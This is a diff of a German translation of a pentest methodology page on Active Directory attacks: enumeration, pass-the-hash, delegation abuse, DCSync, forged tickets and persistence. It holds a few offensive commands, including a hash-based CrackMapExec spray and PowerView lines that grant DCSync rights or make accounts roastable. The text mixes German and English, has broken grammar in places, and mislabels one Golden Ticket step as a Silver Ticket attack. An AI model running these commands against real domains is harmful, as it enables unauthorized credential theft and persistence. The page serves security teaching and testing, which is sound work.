+- [**DNS records of the AD**](ad-dns-records.md), da diese interessante Informationen enthalten können.
+- Ein **GUI-Tool**, das du zur Enumeration des Verzeichnisses verwenden kannst, ist **AdExplorer.exe** aus der **SysInternal**-Suite.
+- Du kannst auch die LDAP-Datenbank mit **ldapsearch** durchsuchen, um nach Credentials in den Feldern _userPassword_ & _unixUserPassword_ oder sogar in _Description_ zu suchen. Siehe [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) für weitere Methoden.
+- Wenn du **Linux** verwendest, kannst du die Domain auch mit [**pywerview**](https://github.com/the-useless-one/pywerview) enumerieren.
+- Du könntest auch automatisierte Tools ausprobieren wie:
+  - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
+  - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)

-Es ist sehr einfach, alle Domain-Benutzernamen unter Windows zu erhalten (`net user /domain` ,`Get-DomainUser` oder `wmic useraccount get name,sid`). Unter Linux können Sie `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` oder `enum4linux -a -u "user" -p "password" <DC IP>` verwenden
+- **Extracting all domain users**

-> Selbst wenn dieser Enumeration-Abschnitt klein aussieht, ist dies der wichtigste Teil von allem. Rufen Sie die Links auf (hauptsächlich die zu cmd, powershell, powerview und BloodHound), lernen Sie, wie man eine Domain enumeriert, und üben Sie, bis Sie sich sicher fühlen. Während eines Assessments wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
+Es ist sehr einfach, alle Domain-Benutzernamen unter Windows zu erhalten (`net user /domain`, `Get-DomainUser` oder `wmic useraccount get name,sid`). Unter Linux kannst du verwenden: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` oder `enum4linux -a -u "user" -p "password" <DC IP>`
+
+> Auch wenn dieser Enumeration-Abschnitt klein wirkt, ist er der wichtigste Teil von allen. Rufe die Links auf (hauptsächlich die zu cmd, powershell, powerview und BloodHound) auf, lerne, wie man eine Domain enumeriert und übe, bis du dich sicher fühlst. Während eines Assessments ist dies der entscheidende Moment, um deinen Weg zu DA zu finden oder zu entscheiden, dass nichts gemacht werden kann.

 ### Kerberoast

-Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**.
-
-More about this in:
+Kerberoasting beinhaltet das Erlangen von **TGS tickets**, die von Diensten verwendet werden, die an Benutzerkonten gebunden sind, und das Offline-Knacken ihrer Verschlüsselung — welche auf Benutzerpasswörtern basiert.

+Mehr dazu in:

 {{#ref}}
 kerberoast.md
 {{#endref}}

-### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
+### Remote-Verbindungen (RDP, SSH, FTP, Win-RM, etc)

-Once you have obtained some credentials you could check if you have access to any **Maschine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans.
+Sobald du Credentials erhalten hast, kannst du prüfen, ob du Zugriff auf irgendeine **Maschine** hast. Dafür kannst du **CrackMapExec** verwenden, um Verbindungen zu mehreren Servern mit verschiedenen Protokollen entsprechend deinen Portscans zu versuchen.

 ### Local Privilege Escalation

-If you have compromised credentials or a session as a regular domain user and you have **Zugriff** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM).
+Wenn du Credentials oder eine Session als normaler Domain-User kompromittiert hast und mit diesem Benutzer **Zugriff** auf **irgendeine Maschine in der Domain** hast, solltest du versuchen, lokal Privilegien zu eskalieren und nach Credentials zu suchen. Denn nur mit lokalen Administratorrechten kannst du die **Hashes anderer Benutzer** im Speicher (LSASS) und lokal (SAM) dumpen.

-There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+Es gibt eine komplette Seite in diesem Buch über [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) und eine [**checklist**](../checklist-windows-privilege-escalation.md). Vergiss auch nicht, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) zu verwenden.

 ### Aktuelle Session-Tickets

-It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check:
+Es ist sehr **unwahrscheinlich**, dass du in der aktuellen User-Session **Tickets** findest, die dir die Berechtigung geben, auf unerwartete Ressourcen zuzugreifen, aber du könntest prüfen:
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
@ -217,17 +213,17 @@ It's very **unlikely** that you will find **tickets** in the current user **givi
 ```
 ### NTLM Relay

-Wenn Sie es geschafft haben, Active Directory zu enumerieren, haben Sie **mehr E‑Mails und ein besseres Verständnis des Netzwerks**. Möglicherweise können Sie NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+Wenn du es geschafft hast, das Active Directory zu enumerieren, verfügst du über **mehr E-Mails und ein besseres Verständnis des Netzwerks**. Möglicherweise kannst du NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**

-### Suche nach Creds in Computer Shares | SMB Shares
+### Looks for Creds in Computer Shares | SMB Shares

-Jetzt, da Sie einige grundlegende Anmeldeinformationen haben, sollten Sie prüfen, ob Sie **interessante Dateien finden, die innerhalb des AD freigegeben sind**. Sie könnten das manuell tun, aber das ist eine sehr langweilige, sich wiederholende Aufgabe (und noch mehr, wenn Sie Hunderte von Docs finden, die Sie überprüfen müssen).
+Da du jetzt einige grundlegende credentials hast, solltest du prüfen, ob du **finden** irgendwelche **interessante Dateien, die im AD geteilt werden**. Du könntest das manuell machen, aber es ist eine sehr langweilige, sich wiederholende Aufgabe (und noch mehr, wenn du Hunderte von Dokumenten findest, die du überprüfen musst).

-[**Folgen Sie diesem Link, um mehr über Tools zu erfahren, die Sie verwenden könnten.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
+[**Folge diesem Link, um mehr über Tools zu erfahren, die du verwenden könntest.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)

-### NTLM Creds stehlen
+### Steal NTLM Creds

-Wenn Sie **auf andere PCs oder Shares zugreifen** können, könnten Sie **Dateien ablegen** (z. B. eine SCF file), die, falls sie irgendwie geöffnet werden, eine **NTLM authentication gegen Sie auslösen**, sodass Sie die **NTLM challenge** **stehlen** können, um sie zu knacken:
+Wenn du auf andere PCs oder Shares zugreifen kannst, könntest du **Dateien platzieren** (wie eine SCF file), die, falls sie irgendwie geöffnet werden, eine **NTLM-Authentifizierung gegen dich auslösen**, sodass du die **NTLM challenge** stehlen kannst, um sie zu cracken:


 {{#ref}}
@ -236,7 +232,7 @@ Wenn Sie **auf andere PCs oder Shares zugreifen** können, könnten Sie **Dateie

 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare

-Diese Schwachstelle ermöglichte es jedem authentifizierten Benutzer, den **Domänencontroller zu kompromittieren**.
+Diese Schwachstelle erlaubte es jedem authentifizierten Benutzer, den **domain controller zu kompromittieren**.


 {{#ref}}
@ -245,23 +241,23 @@ printnightmare.md

 ## Privilege escalation on Active Directory WITH privileged credentials/session

-**Für die folgenden Techniken reicht ein normaler Domänenbenutzer nicht aus, Sie benötigen spezielle Privilegien/Anmeldeinformationen, um diese Angriffe durchzuführen.**
+**Für die folgenden Techniken reicht ein normaler Domain-Benutzer nicht aus, du benötigst spezielle Privilegien/Zugangsdaten, um diese Angriffe durchzuführen.**

 ### Hash extraction

-Hoffentlich ist es Ihnen gelungen, **ein lokales Admin-Konto zu kompromittieren** mit [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inklusive relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).  
-Dann ist es Zeit, alle Hashes im Speicher und lokal zu dumpen.  
-[**Lesen Sie diese Seite über verschiedene Möglichkeiten, die Hashes zu erhalten.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+Hoffentlich ist es dir gelungen, ein **lokales admin** Konto zu kompromittieren mithilfe von [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) einschließlich relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).  
+Dann ist es Zeit, alle Hashes im Speicher und lokal auszulesen.  
+[**Lies diese Seite über verschiedene Methoden, um die Hashes zu erhalten.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Pass the Hash

-**Sobald Sie den Hash eines Benutzers haben**, können Sie ihn verwenden, um sich als dieser Benutzer **auszugeben**.  
-Sie müssen ein **Tool** verwenden, das die **NTLM authentication mit** diesem **Hash durchführt**, **oder** Sie können ein neues **sessionlogon** erstellen und diesen **Hash** in **LSASS** injizieren, sodass bei jeder **NTLM authentication** dieser **Hash verwendet wird.** Die letzte Option ist das, was mimikatz macht.  
-[**Lesen Sie diese Seite für mehr Informationen.**](../ntlm/index.html#pass-the-hash)
+**Once you have the hash of a user**, you can use it to **impersonate** it.  
+Du musst ein **tool** verwenden, das die **NTLM authentication using** diesen **hash** durchführt, **oder** du könntest einen neuen **sessionlogon** erstellen und diesen **hash** in den **LSASS** injecten, sodass bei jeder **NTLM authentication** dieser **hash verwendet wird.** Die letzte Option ist das, was mimikatz macht.  
+[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)

 ### Over Pass the Hash/Pass the Key

-Dieser Angriff zielt darauf ab, **den NTLM-Hash des Benutzers zu verwenden, um Kerberos-Tickets anzufordern**, als Alternative zum üblichen Pass The Hash über das NTLM-Protokoll. Daher kann dies besonders **nützlich in Netzwerken sein, in denen das NTLM-Protokoll deaktiviert ist** und nur **Kerberos als Authentifizierungsprotokoll zugelassen** ist.
+Dieser Angriff zielt darauf ab, den **user NTLM hash zu verwenden, um Kerberos tickets anzufordern**, als Alternative zum üblichen Pass The Hash über das NTLM-Protokoll. Daher kann dies besonders **nützlich in Netzwerken sein, in denen das NTLM protocol deaktiviert ist** und nur **Kerberos als authentication protocol** erlaubt ist.


 {{#ref}}
@ -270,7 +266,7 @@ over-pass-the-hash-pass-the-key.md

 ### Pass the Ticket

-Bei der **Pass The Ticket (PTT)**-Angriffsmethode stehlen Angreifer **das Authentifizierungsticket eines Benutzers** anstelle seines Passworts oder seiner Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um **sich als der Benutzer auszugeben** und sich unautorisierten Zugriff auf Ressourcen und Dienste im Netzwerk zu verschaffen.
+Bei der **Pass The Ticket (PTT)** Angriffsmethode stehlen Angreifer ein **authenticaton ticket eines Benutzers** statt dessen Passwort oder Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um sich als den Benutzer **auszugeben**, wodurch unbefugter Zugriff auf Ressourcen und Dienste innerhalb eines Netzwerks erlangt wird.


 {{#ref}}
@ -279,7 +275,7 @@ pass-the-ticket.md

 ### Credentials Reuse

-Wenn Sie den **Hash** oder das **Passwort** eines **lokalen Administrators** haben, sollten Sie versuchen, sich **lokal** an anderen **PCs** damit anzumelden.
+Wenn du den **hash** oder das **password** eines **lokalen administrator** hast, solltest du versuchen, dich **lokal** an anderen **PCs** damit anzumelden.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
@ -288,20 +284,20 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 > [!WARNING]
 > Beachte, dass dies ziemlich **auffällig** ist und **LAPS** dies **mildern** würde.

-### MSSQL Abuse & Trusted Links
+### MSSQL-Missbrauch & vertrauenswürdige Links

-Wenn ein Benutzer Berechtigungen hat, **MSSQL-Instanzen zuzugreifen**, könnte er diese nutzen, um **Befehle** auf dem MSSQL-Host auszuführen (wenn dieser als SA läuft), den NetNTLM **Hash** zu **stehlen** oder sogar einen **relay** **Angriff** durchzuführen.\
-Außerdem, wenn eine MSSQL-Instanz von einer anderen MSSQL-Instanz vertraut wird (database link). Wenn der Benutzer Berechtigungen über die vertraute Datenbank besitzt, kann er **die Vertrauensbeziehung nutzen, um auch in der anderen Instanz Abfragen auszuführen**. Diese Vertrauensstellungen können verkettet werden und irgendwann könnte der Benutzer eine fehlkonfigurierte Datenbank finden, in der er Befehle ausführen kann.\
-**Die Links zwischen Datenbanken funktionieren sogar über Forest-Trusts hinweg.**
+Wenn ein Benutzer Berechtigungen hat, auf **MSSQL-Instanzen** zuzugreifen, könnte er diese nutzen, um **Befehle** auf dem MSSQL-Host auszuführen (falls dieser als **SA** läuft), den **NetNTLM hash** zu **stehlen** oder sogar einen **relay** **Angriff** durchzuführen.\
+Außerdem, wenn eine MSSQL-Instanz von einer anderen MSSQL-Instanz vertraut wird (database link). Wenn der Benutzer Berechtigungen für die vertrauenswürdige Datenbank hat, wird er die **Vertrauensbeziehung nutzen können, um auch in der anderen Instanz Abfragen auszuführen**. Diese Vertrauensstellungen können verkettet werden und irgendwann könnte der Benutzer eine falsch konfigurierte Datenbank finden, in der er Befehle ausführen kann.\
+**Die Verknüpfungen zwischen Datenbanken funktionieren sogar über Forest-Trusts hinweg.**


 {{#ref}}
 abusing-ad-mssql.md
 {{#endref}}

-### IT asset/deployment platforms abuse
+### Missbrauch von IT-Asset-/Deployment-Plattformen

-Third-party Inventory- und Deployment-Suites bieten oft mächtige Pfade zu Credentials und Code-Ausführung. Siehe:
+Drittanbieter-Inventar- und Deployment-Suiten bieten oft mächtige Wege zu Anmeldeinformationen und Code-Ausführung. Siehe:

 {{#ref}}
 sccm-management-point-relay-sql-policy-secrets.md
@ -313,9 +309,9 @@ lansweeper-security.md

 ### Unconstrained Delegation

-Wenn du ein Computerobjekt mit dem Attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) findest und du Domain-Berechtigungen auf dem Computer hast, kannst du TGTs aus dem Speicher aller Benutzer dumpen, die sich an dem Computer anmelden.\
-Wenn sich also ein **Domain Admin an dem Computer anmeldet**, kannst du seinen TGT dumpen und ihn mithilfe von [Pass the Ticket](pass-the-ticket.md) impersonifizieren.\
-Dank constrained delegation könntest du sogar **automatisch einen Print Server kompromittieren** (hoffentlich ist es ein DC).
+Wenn du ein Computerobjekt mit dem Attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) findest und du Domänenrechte auf dem Rechner hast, kannst du TGTs aus dem Speicher aller Benutzer dumpen, die sich an dem Rechner anmelden.\
+Wenn sich also ein **Domain Admin** an dem Rechner anmeldet, kannst du seinen TGT dumpen und ihn mittels [Pass the Ticket](pass-the-ticket.md) impersonifizieren.\
+Dank **constrained delegation** könntest du sogar **automatisch einen Print-Server kompromittieren** (hoffentlich ist es ein DC).


 {{#ref}}
@ -324,8 +320,8 @@ unconstrained-delegation.md

 ### Constrained Delegation

-Wenn einem Benutzer oder Computer "Constrained Delegation" erlaubt ist, kann er **jeden Benutzer impersonifizieren, um auf bestimmte Dienste auf einem Computer zuzugreifen**.\
-Wenn du dann den **Hash dieses Benutzers/Computers kompromittierst**, kannst du **jeden Benutzer** (auch Domain Admins) impersonifizieren, um auf diese Dienste zuzugreifen.
+Wenn einem Benutzer oder Computer "Constrained Delegation" erlaubt ist, kann er sich als beliebiger Benutzer ausgeben, um auf bestimmte Dienste auf einem Rechner zuzugreifen.\
+Wenn du dann den **Hash** dieses Benutzers/Computers **kompromittierst**, kannst du **jeden Benutzer** (auch Domain Admins) impersonifizieren, um auf bestimmte Dienste zuzugreifen.


 {{#ref}}
@ -334,7 +330,7 @@ constrained-delegation.md

 ### Resourced-based Constrain Delegation

-Das Besitzen von **WRITE**-Rechten an einem Active Directory-Objekt eines entfernten Computers ermöglicht die Erlangung von Codeausführung mit **erhöhten Rechten**:
+Das Besitzen des **WRITE**-Rechts an einem Active Directory-Objekt eines entfernten Rechners ermöglicht das Erlangen von Code-Ausführung mit **erhöhten Rechten**:


 {{#ref}}
@ -343,26 +339,26 @@ resource-based-constrained-delegation.md

 ### Permissions/ACLs Abuse

-Der kompromittierte Benutzer könnte über einige **interessante Berechtigungen auf Domain-Objekten** verfügen, die es dir erlauben könnten, später lateral zu **bewegen** oder **Privilegien zu eskalieren**.
+Der kompromittierte Benutzer könnte über **interessante Berechtigungen** an bestimmten Domain-Objekten verfügen, die es dir ermöglichen, laterale Bewegungen durchzuführen bzw. **Privilegien zu eskalieren**.


 {{#ref}}
 acl-persistence-abuse/
 {{#endref}}

-### Printer Spooler service abuse
+### Missbrauch des Printer Spooler-Dienstes

-Das Entdecken eines **Spool-Dienstes, der innerhalb der Domain lauscht**, kann **missbraucht** werden, um **neue Credentials zu erlangen** und **Privilegien zu eskalieren**.
+Das Auffinden eines **Spool-Dienstes**, der innerhalb der Domain lauscht, kann **ausgenutzt** werden, um **neue Anmeldeinformationen zu erlangen** und **Privilegien zu eskalieren**.


 {{#ref}}
 printers-spooler-service-abuse.md
 {{#endref}}

-### Third party sessions abuse
+### Missbrauch von Drittanbieter-Sitzungen

-Wenn **andere Benutzer** auf die **kompromittierte** Maschine **zugreifen**, ist es möglich, **Credentials aus dem Speicher zu sammeln** und sogar **Beacons in ihre Prozesse zu injizieren**, um sie zu impersonifizieren.\
-Üblicherweise greifen Benutzer per RDP auf das System zu, daher hier, wie man ein paar Angriffe auf Drittparteien-RDP-Sitzungen durchführt:
+Wenn **andere Benutzer** auf die **kompromittierte** Maschine **zugreifen**, ist es möglich, **Anmeldeinformationen aus dem Speicher** zu sammeln und sogar **Beacons in ihre Prozesse zu injizieren**, um sie zu impersonifizieren.\
+In der Regel greifen Benutzer per **RDP** auf das System zu, daher hier, wie man ein paar Angriffe über fremde RDP-Sitzungen durchführt:


 {{#ref}}
@ -371,7 +367,7 @@ rdp-sessions-abuse.md

 ### LAPS

-**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domain-joined Computern, stellt sicher, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden in Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird Pivoting zu anderen Computern möglich.
+**LAPS** stellt ein System zur Verwaltung des **lokalen Administrator-Passworts** auf domain-joined Computern bereit, stellt sicher, dass es **zufällig**, einzigartig und häufig **geändert** wird. Diese Passwörter werden in Active Directory gespeichert und der Zugriff wird über **ACLs** nur für autorisierte Benutzer gesteuert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird Pivoting zu anderen Rechnern möglich.


 {{#ref}}
@ -380,50 +376,50 @@ laps.md

 ### Certificate Theft

-Das **Sammeln von Zertifikaten** von der kompromittierten Maschine kann ein Weg sein, um Privilegien innerhalb der Umgebung zu eskalieren:
+Das **Sammeln von Zertifikaten** von der kompromittierten Maschine kann ein Weg sein, um innerhalb der Umgebung Privilegien zu eskalieren:


 {{#ref}}
 ad-certificates/certificate-theft.md
 {{#endref}}

-### Certificate Templates Abuse
+### Missbrauch von Zertifikatvorlagen

-Wenn **verwundbare Templates** konfiguriert sind, ist es möglich, diese zu missbrauchen, um Privilegien zu eskalieren:
+Wenn **verwundbare Vorlagen** konfiguriert sind, ist es möglich, diese auszunutzen, um Privilegien zu eskalieren:


 {{#ref}}
 ad-certificates/domain-escalation.md
 {{#endref}}

-## Post-exploitation with high privilege account
+## Post-Exploitation mit einem hochprivilegierten Konto

-### Dumping Domain Credentials
+### Auslesen von Domain-Anmeldeinformationen

-Sobald du **Domain Admin** oder noch besser **Enterprise Admin**-Rechte erhältst, kannst du die **Domain-Datenbank** dumpen: _ntds.dit_.
+Sobald du **Domain Admin** oder noch besser **Enterprise Admin**-Rechte hast, kannst du die **Domain-Datenbank** auslesen: _ntds.dit_.

 [**More information about DCSync attack can be found here**](dcsync.md).

 [**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

-### Privesc as Persistence
+### Privesc als Persistenz

-Einige der zuvor diskutierten Techniken können für Persistence genutzt werden.\
-Zum Beispiel könntest du:
+Einige der zuvor besprochenen Techniken können zur Persistenz verwendet werden.\
+Beispielsweise könntest du:

- Benutzer anfällig für [**Kerberoast**](kerberoast.md) machen
+- Make users vulnerable to [**Kerberoast**](kerberoast.md)

 ```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
 ```

- Benutzer anfällig für [**ASREPRoast**](asreproast.md) machen
+- Make users vulnerable to [**ASREPRoast**](asreproast.md)

 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```

- [**DCSync**](#dcsync)-Berechtigungen einem Benutzer gewähren
+- Grant [**DCSync**](#dcsync) privileges to a user

 ```bash
 Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -431,7 +427,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti

 ### Silver Ticket

-Der **Silver Ticket attack** erstellt ein **legitimes Ticket Granting Service (TGS) ticket** für einen spezifischen Dienst, indem der **NTLM hash** verwendet wird (z. B. der **Hash des PC-Accounts**). Diese Methode wird eingesetzt, um **Zugriff auf die Rechte des Dienstes** zu erhalten.
+Der **Silver Ticket**-Angriff erzeugt ein **legitimes Ticket Granting Service (TGS)**-Ticket für einen bestimmten Dienst, indem der **NTLM-Hash** verwendet wird (zum Beispiel der **Hash des PC-Accounts**). Diese Methode wird eingesetzt, um auf die **Dienstberechtigungen** zuzugreifen.


 {{#ref}}
@ -440,9 +436,9 @@ silver-ticket.md

 ### Golden Ticket

-Ein **Golden Ticket attack** bedeutet, dass ein Angreifer Zugriff auf den **NTLM hash des krbtgt-Accounts** in einer Active Directory-Umgebung erlangt. Dieser Account ist speziell, weil er verwendet wird, um alle **Ticket Granting Tickets (TGTs)** zu signieren, die für die Authentifizierung innerhalb des AD-Netzwerks unerlässlich sind.
+Ein **Golden Ticket**-Angriff beinhaltet, dass ein Angreifer Zugriff auf den **NTLM-Hash des krbtgt-Accounts** in einer Active Directory (AD)-Umgebung erlangt. Dieses Konto ist speziell, weil es zur Signierung aller **Ticket Granting Tickets (TGTs)** verwendet wird, die für die Authentifizierung im AD-Netzwerk essentiell sind.

-Sobald der Angreifer diesen Hash erhält, kann er **TGTs** für beliebige Accounts erstellen (Silver ticket attack).
+Sobald der Angreifer diesen Hash besitzt, kann er **TGTs** für beliebige Konten erstellen (Silver ticket attack).


 {{#ref}}
@ -451,7 +447,7 @@ golden-ticket.md

 ### Diamond Ticket

-Diese sind wie Golden Tickets, jedoch so gefälscht, dass sie **gängige Erkennungsmechanismen für Golden Tickets umgehen.**
+Diese ähneln Golden Tickets, sind jedoch so gefertigt, dass sie **gängige Erkennungsmechanismen für Golden Tickets umgehen**.


 {{#ref}}
@ -460,7 +456,7 @@ diamond-ticket.md

 ### **Certificates Account Persistence**

-**Zertifikate eines Accounts zu besitzen oder diese anfordern zu können** ist ein sehr guter Weg, um im Benutzerkonto persistent zu bleiben (auch wenn dieser das Passwort ändert):
+**Das Besitzen von Zertifikaten eines Kontos oder die Möglichkeit, diese zu beantragen**, ist eine sehr gute Methode, um im Benutzerkonto zu persistieren (selbst wenn das Passwort geändert wird):


 {{#ref}}
@ -469,7 +465,7 @@ ad-certificates/account-persistence.md

 ### **Certificates Domain Persistence**

-**Mittels Zertifikaten ist es ebenfalls möglich, mit hohen Rechten innerhalb der Domain persistent zu bleiben:**
+**Die Verwendung von Zertifikaten ermöglicht es auch, mit hohen Rechten innerhalb der Domain persistent zu bleiben:**


 {{#ref}}
@ -478,13 +474,13 @@ ad-certificates/domain-persistence.md

 ### AdminSDHolder Group

-Das **AdminSDHolder**-Objekt in Active Directory stellt die Sicherheit **privilegierter Gruppen** (wie Domain Admins und Enterprise Admins) sicher, indem es eine standardisierte **Access Control List (ACL)** über diese Gruppen anwendet, um unautorisierte Änderungen zu verhindern. Diese Funktion kann jedoch ausgenutzt werden; wenn ein Angreifer die ACL des AdminSDHolder ändert, um einem normalen Benutzer Vollzugriff zu geben, erhält dieser Benutzer umfassende Kontrolle über alle privilegierten Gruppen. Diese Sicherheitsmaßnahme, die schützen soll, kann somit nach hinten losgehen und unberechtigten Zugriff ermöglichen, sofern sie nicht genau überwacht wird.
+Das **AdminSDHolder**-Objekt in Active Directory stellt die Sicherheit **privilegierter Gruppen** (wie Domain Admins und Enterprise Admins) sicher, indem es eine standardisierte **Access Control List (ACL)** auf diese Gruppen anwendet, um unbefugte Änderungen zu verhindern. Dieses Feature kann jedoch ausgenutzt werden; wenn ein Angreifer die ACL von AdminSDHolder so verändert, dass einem normalen Benutzer Vollzugriff gewährt wird, erlangt dieser Benutzer weitreichende Kontrolle über alle privilegierten Gruppen. Diese Sicherheitsmaßnahme, die eigentlich schützt, kann daher nach hinten losgehen und unberechtigten Zugriff ermöglichen, wenn sie nicht genau überwacht wird.

 [**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)

 ### DSRM Credentials

-In jedem **Domain Controller (DC)** existiert ein **lokaler Administrator**-Account. Durch das Erlangen von Admin-Rechten auf einer solchen Maschine kann der lokale Administrator-Hash mittels **mimikatz** extrahiert werden. Anschließend ist eine Registry-Änderung notwendig, um die **Nutzung dieses Passworts zu ermöglichen**, wodurch ein Remotezugriff auf das lokale Administrator-Konto möglich wird.
+In jedem **Domain Controller (DC)** existiert ein **lokales Administrator**-Konto. Durch das Erlangen von Admin-Rechten auf einem solchen Rechner kann der Hash des lokalen Administrators mit **mimikatz** extrahiert werden. Anschließend ist eine Registry-Änderung nötig, um die **Nutzung dieses Passworts zu ermöglichen**, wodurch ein Remote-Zugriff auf das lokale Administrator-Konto möglich wird.


 {{#ref}}
@ -493,16 +489,16 @@ dsrm-credentials.md

 ### ACL Persistence

-Du könntest einem **Benutzer** einige **spezielle Rechte** an bestimmten Domain-Objekten **geben**, die es dem Benutzer erlauben, **in Zukunft Privilegien zu eskalieren**.
+Du könntest einem **Benutzer** **spezielle Rechte** an bestimmten Domain-Objekten vergeben, die es diesem Benutzer erlauben, zukünftig **Privilegien zu eskalieren**.


 {{#ref}}
 acl-persistence-abuse/
 {{#endref}}

-### Security Descriptors
+### Sicherheitsdeskriptoren

-Die **Security Descriptors** werden verwendet, um die **Berechtigungen** zu **speichern**, die ein **Objekt** über ein **anderes Objekt** besitzt. Wenn du nur eine **kleine Änderung** im **Security Descriptor** eines Objekts vornehmen kannst, kannst du sehr interessante Rechte über dieses Objekt erlangen, ohne Mitglied einer privilegierten Gruppe sein zu müssen.
+Die **Sicherheitsdeskriptoren** werden verwendet, um die **Berechtigungen** zu **speichern**, die ein **Objekt** auf einem anderen **Objekt** hat. Wenn du nur eine kleine Änderung im Sicherheitsdeskriptor eines Objekts vornehmen kannst, kannst du sehr interessante Rechte über dieses Objekt erlangen, ohne Mitglied einer privilegierten Gruppe sein zu müssen.


 {{#ref}}
@ -511,7 +507,7 @@ security-descriptors.md

 ### Skeleton Key

-Ändere **LSASS** im Speicher, um ein **universelles Passwort** zu etablieren, das Zugang zu allen Domain-Accounts gewährt.
+Verändere **LSASS** im Speicher, um ein **universelles Passwort** zu etablieren, das Zugriff auf alle Domain-Konten gewährt.


 {{#ref}}
@ -521,7 +517,7 @@ skeleton-key.md
 ### Custom SSP

 [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-Du kannst dein **eigenes SSP** erstellen, um **Credentials im Klartext** zu **capturen**, die verwendet werden, um auf die Maschine zuzugreifen.
+Du kannst dein **eigenes SSP** erstellen, um **Anmeldeinformationen im Klartext** zu **erfassen**, die zum Zugriff auf die Maschine verwendet werden.


 {{#ref}}
@ -530,8 +526,8 @@ custom-ssp.md

 ### DCShadow

-Es registriert einen **neuen Domain Controller** im AD und verwendet ihn, um **Attribute** (SIDHistory, SPNs...) auf bestimmten Objekten **zu pushen**, **ohne** Logs bezüglich der **Änderungen** zu hinterlassen. Du **brauchst DA**-Berechtigungen und musst dich innerhalb der **Root-Domain** befinden.\
-Beachte, dass, wenn du falsche Daten verwendest, ziemlich unschöne Logs erscheinen werden.
+Es registriert einen **neuen Domain Controller** im AD und nutzt ihn, um **Attribute** (SIDHistory, SPNs...) auf bestimmten Objekten zu **pushen**, **ohne** dass Änderungen in den Logs dieser Modifikationen erscheinen. Du **brauchst DA**-Rechte und musst dich innerhalb der **root domain** befinden.\
+Beachte, dass bei Verwendung falscher Daten recht unschöne Logs entstehen können.


 {{#ref}}
@ -540,7 +536,7 @@ dcshadow.md

 ### LAPS Persistence

